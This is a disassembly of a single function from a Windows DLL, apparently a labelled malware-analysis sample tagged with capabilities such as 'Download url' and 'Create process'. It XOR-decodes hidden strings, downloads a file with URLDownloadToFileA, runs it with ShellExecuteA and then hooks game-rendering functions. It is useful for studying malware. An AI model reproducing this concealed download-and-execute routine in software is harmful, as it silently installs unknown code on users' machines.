Function at 0x10046830
Capabilities:
Create process on windows
Download url
Encode data using xor
Query environment variable
Receive data
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004b1ad
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x88
mov eax, dword [0x10072040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10044080
cmp dword [0x1007270c], 0
jne 0x10046890
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x1007270c], eax
xor eax, eax
mov ecx, 0x10072708
xchg dword [ecx], eax
movups xmm0, xmmword [0x1006ef78]
mov ax, word [0x1006efa8]
xor ecx, ecx
mov esi, dword [0x100726c8]
mov word [ebp - 0x34], ax
mov dword [ebp - 0x30], ecx
movups xmmword [ebp - 0x64], xmm0
movups xmm0, xmmword [0x1006ef88]
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [0x1006ef98]
movups xmmword [ebp - 0x44], xmm0
cmp esi, 2
jl 0x10046a07
movaps xmm0, xmmword [0x1006f4d0]
movaps xmm4, xmmword [0x1006f430]
movaps xmm3, xmmword [0x1006f550]
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x80]
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x64]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x64], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x60]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x60], xmm1
add ecx, 8
cmp ecx, 0x30
jl 0x10046900
mov dword [ebp - 0x30], ecx
cmp ecx, 0x32
jge 0x10046a36
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x64], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x32
jl 0x10046a07
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x64]
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp byte [0x1006f01b], 0
mov edx, dword [0x1006f014]
mov edi, dword [0x1006f018]
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x84], edi
je 0x10046bb2
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp esi, 2
jl 0x10046b80
movaps xmm2, xmmword [0x1006f430]
movaps xmm4, xmmword [0x1006f550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x1006f4d0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1006f460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x1006f440]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, edx
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x88], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1006f460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, edi
xorps xmm1, xmm0
movd dword [ebp - 0x84], xmm1
jmp 0x10046bb2
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x88], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 8
jl 0x10046b80
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.100482a0
mov dword [ebp - 4], 0
xor edx, edx
mov ax, word [0x1006ef74]
movq xmm0, qword [0x1006ef6c]
mov word [ebp - 0x90], ax
mov al, byte [0x1006ef76]
movq qword [ebp - 0x98], xmm0
mov byte [ebp - 0x8e], al
mov dword [ebp - 0x30], edx
nop
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0x30]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x98], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0xb
jl 0x10046c00
lea edi, [ebp - 0x98]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x10046c33
mov edx, dword [ebp - 0x18]
sub edi, ecx
mov ecx, dword [ebp - 0x1c]
mov eax, edx
sub eax, ecx
push edi
cmp edi, eax
ja 0x10046c79
lea eax, [edi + ecx]
cmp edx, 0xf
mov dword [ebp - 0x1c], eax
lea esi, [ebp - 0x2c]
cmova esi, dword [ebp - 0x2c]
lea eax, [ebp - 0x98]
add esi, ecx
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [0x100726c8]
jmp 0x10046c8f
lea eax, [ebp - 0x98]
push eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x2c]
push edi
call fcn.100483b0
cmp dword [ebp - 0x18], 0xf
lea edi, [ebp - 0x2c]
movups xmm0, xmmword [str.__AF_r]
mov ax, word [0x1006ef4c]
mov word [ebp - 0x34], ax
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [0x1006ef3c]
movups xmmword [ebp - 0x44], xmm0
jbe 0x10046cbb
mov edi, dword [ebp - 0x2c]
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp esi, 2
jl 0x10046df7
movaps xmm0, xmmword [0x1006f4d0]
movaps xmm4, xmmword [0x1006f430]
movaps xmm3, xmmword [0x1006f550]
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x80]
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x54]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x54], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x50]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x50], xmm1
add ecx, 8
cmp ecx, 0x20
jl 0x10046cf0
mov dword [ebp - 0x30], ecx
cmp ecx, 0x22
jge 0x10046e26
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x54], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x22
jl 0x10046df7
push 0
push 0
push edi
lea eax, [ebp - 0x54]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x10047835
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push 0
cmova eax, dword [ebp - 0x2c]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x1006ef6b], 0
movups xmm0, xmmword [0x1006ef50]
mov eax, dword [0x1006ef68]
mov dword [ebp - 0x38], eax
movups xmmword [ebp - 0x50], xmm0
movq xmm0, qword [0x1006ef60]
movq qword [ebp - 0x40], xmm0
je 0x10046ff6
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp esi, 2
jl 0x10046fc7
movaps xmm0, xmmword [0x1006f4d0]
movaps xmm4, xmmword [0x1006f430]
movaps xmm3, xmmword [0x1006f550]
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x80]
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x50]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x50], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x4c]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x4c], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x10046ec0
mov dword [ebp - 0x30], ecx
cmp ecx, 0x1c
jge 0x10046ff6
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x50], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x1c
jl 0x10046fc7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x50]
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [str.h_e_R]
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [0x1006efe0]
movups xmmword [ebp - 0x44], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x100471a0
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp esi, 2
jl 0x10047171
movaps xmm0, xmmword [0x1006f4d0]
movaps xmm4, xmmword [0x1006f430]
movaps xmm3, xmmword [0x1006f550]
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x80]
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x54]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x54], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x50]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x50], xmm1
add ecx, 8
cmp ecx, 0x20
jl 0x10047070
jmp 0x100471a0
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x54], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x20
jl 0x10047171
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x54]
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x1006f01c]
mov eax, dword [0x1006f044]
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], ecx
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x1006f02c]
movups xmmword [ebp - 0x50], xmm0
movq xmm0, qword [0x1006f03c]
movq qword [ebp - 0x40], xmm0
cmp esi, 2
jl 0x10047327
movaps xmm0, xmmword [0x1006f4d0]
movaps xmm4, xmmword [0x1006f430]
movaps xmm3, xmmword [0x1006f550]
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x80]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x60]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x60], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x5c]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x5c], xmm1
add ecx, 8
cmp ecx, 0x28
jl 0x10047220
mov dword [ebp - 0x30], ecx
cmp ecx, 0x2c
jge 0x10047356
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x2c
jl 0x10047327
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x60]
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x1006f048]
mov ax, word [0x1006f070]
xor ecx, ecx
mov word [ebp - 0x38], ax
mov al, byte [0x1006f072]
mov byte [ebp - 0x36], al
mov dword [ebp - 0x30], ecx
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x1006f058]
movups xmmword [ebp - 0x50], xmm0
movq xmm0, qword [0x1006f068]
movq qword [ebp - 0x40], xmm0
cmp esi, 2
jl 0x100474e7
movaps xmm0, xmmword [0x1006f4d0]
movaps xmm4, xmmword [0x1006f430]
movaps xmm3, xmmword [0x1006f550]
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x80]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x60]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x60], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x5c]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x5c], xmm1
add ecx, 8
cmp ecx, 0x28
jl 0x100473e0
mov dword [ebp - 0x30], ecx
cmp ecx, 0x2b
jge 0x10047516
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x2b
jl 0x100474e7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x60]
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x1006efac]
mov ax, word [0x1006efcc]
xor ecx, ecx
mov word [ebp - 0x34], ax
mov dword [ebp - 0x30], ecx
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [0x1006efbc]
movups xmmword [ebp - 0x44], xmm0
cmp esi, 2
jl 0x10047690
movaps xmm0, xmmword [0x1006f4d0]
movaps xmm4, xmmword [0x1006f430]
movaps xmm3, xmmword [0x1006f550]
movaps xmm5, xmmword [0x1006f460]
movaps xmmword [ebp - 0x80], xmm0
mov edx, dword [ebp - 0x80]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x54]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x54], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1006f4b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x50]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x50], xmm1
add ecx, 8
cmp ecx, 0x20
jl 0x10047582
mov dword [ebp - 0x30], ecx
cmp ecx, 0x22
jge 0x100476bf
nop dword [eax]
mov eax, 0xa0a0a0a1
imul ecx
mov al, 1
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 0x30]
movsx eax, al
imul eax, eax, 0x33
add al, cl
xor byte [ebp + ecx - 0x54], al
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x22
jl 0x10047690
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x54]
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xc350
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x10072750]
mov edx, 0x10047b60
push 0x1007279c
mov eax, dword [eax]
mov ecx, dword [eax + 8]
call fcn.100440d0
mov eax, dword [0x10072734]
mov edx, 0x10047a30
push 0x10072768
mov eax, dword [eax]
mov ecx, dword [eax + 0xa8]
call fcn.100440d0
mov eax, dword [0x10072734]
mov edx, 0x10047af0
push 0x1007276c
mov eax, dword [eax]
mov ecx, dword [eax + 0x40]
call fcn.100440d0
mov eax, dword [0x10072754]
mov edx, 0x10047bd0
push 0x10072760
mov eax, dword [eax]
mov ecx, dword [eax + 0x60]
call fcn.100440d0
mov eax, dword [0x10072758]
test eax, eax
jne 0x10047774
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.studioRender_is_pointing_null._prevented_crash.
call fcn.10044fe0
push 0x100451c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x10047788
mov eax, dword [eax]
mov edx, 0x10047d50
push 0x10072764
mov ecx, dword [eax + 0x74]
call fcn.100440d0
call fcn.10044080
cmp dword [0x1007270c], 0
je 0x100477a0
mov ecx, 1
call fcn.10043f80
xor eax, eax
mov ecx, 0x10072708
xchg dword [ecx], eax
mov byte [ebp - 4], 1
mov ecx, dword [0x10072734]
test ecx, ecx
je 0x100477c7
mov eax, dword [ecx]
push ecx
